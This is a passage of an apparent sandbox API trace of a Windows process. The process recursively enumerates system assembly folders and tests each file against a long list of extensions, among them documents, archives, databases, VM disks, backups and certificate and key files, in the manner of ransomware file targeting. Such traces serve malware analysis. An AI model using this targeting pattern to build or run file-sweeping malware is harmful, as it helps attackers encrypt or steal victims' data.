(pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.jpg") returned 0 [0100.330] lstrlenA (lpString="*.jpg") returned 5 [0100.330] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.png") returned 0 [0100.330] lstrlenA (lpString="*.png") returned 5 [0100.330] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.php") returned 0 [0100.330] lstrlenA (lpString="*.php") returned 5 [0100.330] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.cs") returned 0 [0100.330] lstrlenA (lpString="*.cs") returned 4 [0100.330] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.cpp") returned 0 [0100.330] lstrlenA (lpString="*.cpp") returned 5 [0100.330] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.rar") returned 0 [0100.330] lstrlenA (lpString="*.rar") returned 5 [0100.331] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.zip") returned 0 [0100.331] lstrlenA (lpString="*.zip") returned 5 [0100.331] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.html") returned 0 [0100.331] lstrlenA (lpString="*.html") returned 6 [0100.331] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.htm") returned 0 [0100.331] lstrlenA (lpString="*.htm") returned 5 [0100.331] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.xlsx") returned 0 [0100.331] lstrlenA (lpString="*.xlsx") returned 6 [0100.331] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.xls") returned 0 [0100.331] lstrlenA (lpString="*.xls") returned 5 [0100.331] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.mp4") returned 0 [0100.331] lstrlenA (lpString="*.mp4") returned 5 [0100.331] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.ppt") returned 0 [0100.331] lstrlenA (lpString="*.ppt") returned 5 [0100.331] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.pptx") returned 0 [0100.331] lstrlenA (lpString="*.pptx") returned 6 [0100.331] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.doc") returned 0 [0100.331] lstrlenA (lpString="*.doc") returned 5 [0100.331] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.dot") returned 0 [0100.332] lstrlenA (lpString="*.dot") returned 5 [0100.332] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.docx") returned 0 [0100.332] lstrlenA (lpString="*.docx") returned 6 [0100.332] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.7z") returned 0 [0100.332] lstrlenA (lpString="*.7z") returned 4 [0100.332] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.tar") returned 0 [0100.332] lstrlenA (lpString="*.tar") returned 5 [0100.332] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.bz2") returned 0 [0100.332] lstrlenA (lpString="*.bz2") returned 5 [0100.332] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.gz") returned 0 [0100.332] lstrlenA (lpString="*.gz") returned 4 [0100.332] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.mkv") returned 0 [0100.332] lstrlenA (lpString="*.mkv") returned 5 [0100.332] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.eml") returned 0 [0100.332] lstrlenA (lpString="*.eml") returned 5 [0100.332] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.msg") returned 0 [0100.332] lstrlenA (lpString="*.msg") returned 5 [0100.332] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.edb") returned 0 [0100.332] lstrlenA (lpString="*.edb") returned 5 [0100.333] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.accdb") returned 0 [0100.333] lstrlenA (lpString="*.accdb") returned 7 [0100.333] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.odb") returned 0 [0100.333] lstrlenA (lpString="*.odb") returned 5 [0100.333] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.java") returned 0 [0100.333] lstrlenA (lpString="*.java") returned 6 [0100.333] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.asm") returned 0 [0100.333] lstrlenA (lpString="*.asm") returned 5 [0100.333] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.pfx") returned 0 [0100.333] lstrlenA (lpString="*.pfx") returned 5 [0100.333] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.pem") returned 0 [0100.333] lstrlenA (lpString="*.pem") returned 5 [0100.333] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.p12") returned 0 [0100.333] lstrlenA (lpString="*.p12") returned 5 [0100.333] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.gpg") returned 0 [0100.333] lstrlenA (lpString="*.gpg") returned 5 [0100.333] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.vsd") returned 0 [0100.333] lstrlenA (lpString="*.vsd") returned 5 [0100.333] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.odg") returned 0 [0100.333] lstrlenA (lpString="*.odg") returned 5 [0100.333] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.raw") returned 0 [0100.333] lstrlenA (lpString="*.raw") returned 5 [0100.334] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.nef") returned 0 [0100.334] lstrlenA (lpString="*.nef") returned 5 [0100.334] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.svg") returned 0 [0100.334] lstrlenA (lpString="*.svg") returned 5 [0100.334] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.psd") returned 0 [0100.334] lstrlenA (lpString="*.psd") returned 5 [0100.334] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.vmx") returned 0 [0100.334] lstrlenA (lpString="*.vmx") returned 5 [0100.334] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.vmdk") returned 0 [0100.334] lstrlenA (lpString="*.vmdk") returned 6 [0100.334] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.vdi") returned 0 [0100.334] lstrlenA (lpString="*.vdi") returned 5 [0100.334] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.lay6") returned 0 [0100.334] lstrlenA (lpString="*.lay6") returned 6 [0100.334] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.mpeg") returned 0 [0100.334] lstrlenA (lpString="*.mpeg") returned 6 [0100.334] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.djvu") returned 0 [0100.334] lstrlenA (lpString="*.djvu") returned 6 [0100.334] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.tiff") returned 0 [0100.334] lstrlenA (lpString="*.tiff") returned 6 [0100.334] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.backup") returned 0 [0100.334] lstrlenA (lpString="*.backup") returned 8 [0100.334] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.pdf") returned 0 [0100.335] lstrlenA (lpString="*.pdf") returned 5 [0100.335] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.cert") returned 0 [0100.335] lstrlenA (lpString="*.cert") returned 6 [0100.335] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.docm") returned 0 [0100.335] lstrlenA (lpString="*.docm") returned 6 [0100.335] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.xlsm") returned 0 [0100.335] lstrlenA (lpString="*.xlsm") returned 6 [0100.335] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.dwg") returned 0 [0100.335] lstrlenA (lpString="*.dwg") returned 5 [0100.335] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.nd") returned 0 [0100.335] lstrlenA (lpString="*.nd") returned 4 [0100.335] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.tlg") returned 0 [0100.335] lstrlenA (lpString="*.tlg") returned 5 [0100.335] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.lgb") returned 0 [0100.335] lstrlenA (lpString="*.lgb") returned 5 [0100.335] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.mov") returned 0 [0100.335] lstrlenA (lpString="*.mov") returned 5 [0100.335] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.xdw") returned 0 [0100.335] lstrlenA (lpString="*.xdw") returned 5 [0100.335] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.ods") returned 0 [0100.336] lstrlenA (lpString="*.ods") returned 5 [0100.336] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.wav") returned 0 [0100.336] lstrlenA (lpString="*.wav") returned 5 [0100.336] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.mp3") returned 0 [0100.336] lstrlenA (lpString="*.mp3") returned 5 [0100.336] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.aiff") returned 0 [0100.336] lstrlenA (lpString="*.aiff") returned 6 [0100.336] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.flac") returned 0 [0100.336] lstrlenA (lpString="*.flac") returned 6 [0100.337] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.m4a") returned 0 [0100.337] lstrlenA (lpString="*.m4a") returned 5 [0100.337] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.csv") returned 0 [0100.337] lstrlenA (lpString="*.csv") returned 5 [0100.337] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb9e1831, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0xacec9500, ftLastAccessTime.dwHighDateTime=0x1ca0424, ftLastWriteTime.dwLowDateTime=0x579b0f05, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", cAlternateFileName="")) returned 0 [0100.337] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0100.337] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819dda40, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819dda40, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819dda40, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="6.1.0.0__31bf3856ad364e35", cAlternateFileName="610~1.0__")) returned 0 [0100.337] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0100.337] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x38308564, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x38308564, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x642e7373, dwReserved1=0x6c6c, cFileName="Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources", cAlternateFileName="MI7B97~1.RES")) returned 1 [0100.337] lstrcmpA (lpString1=".", lpString2="Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources") returned -1 [0100.337] lstrcmpA (lpString1="..", lpString2="Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources") returned -1 [0100.337] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0100.337] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources" [0100.337] lstrlenA (lpString="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources") returned 93 [0100.337] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x38308564, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x38308564, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0100.338] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.338] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x38308564, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x38308564, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.338] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.338] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.338] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x1ef2c95d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ef2c95d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="1.0.0.0_en_31bf3856ad364e35", cAlternateFileName="100~1.0_E")) returned 1 [0100.338] lstrcmpA (lpString1=".", lpString2="1.0.0.0_en_31bf3856ad364e35") returned -1 [0100.338] lstrcmpA (lpString1="..", lpString2="1.0.0.0_en_31bf3856ad364e35") returned -1 [0100.338] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\*.*") returned="*.*" [0100.338] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\", lpString2="1.0.0.0_en_31bf3856ad364e35" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35" [0100.338] lstrlenA (lpString="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35") returned 121 [0100.338] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x1ef2c95d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ef2c95d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0100.339] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.339] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, 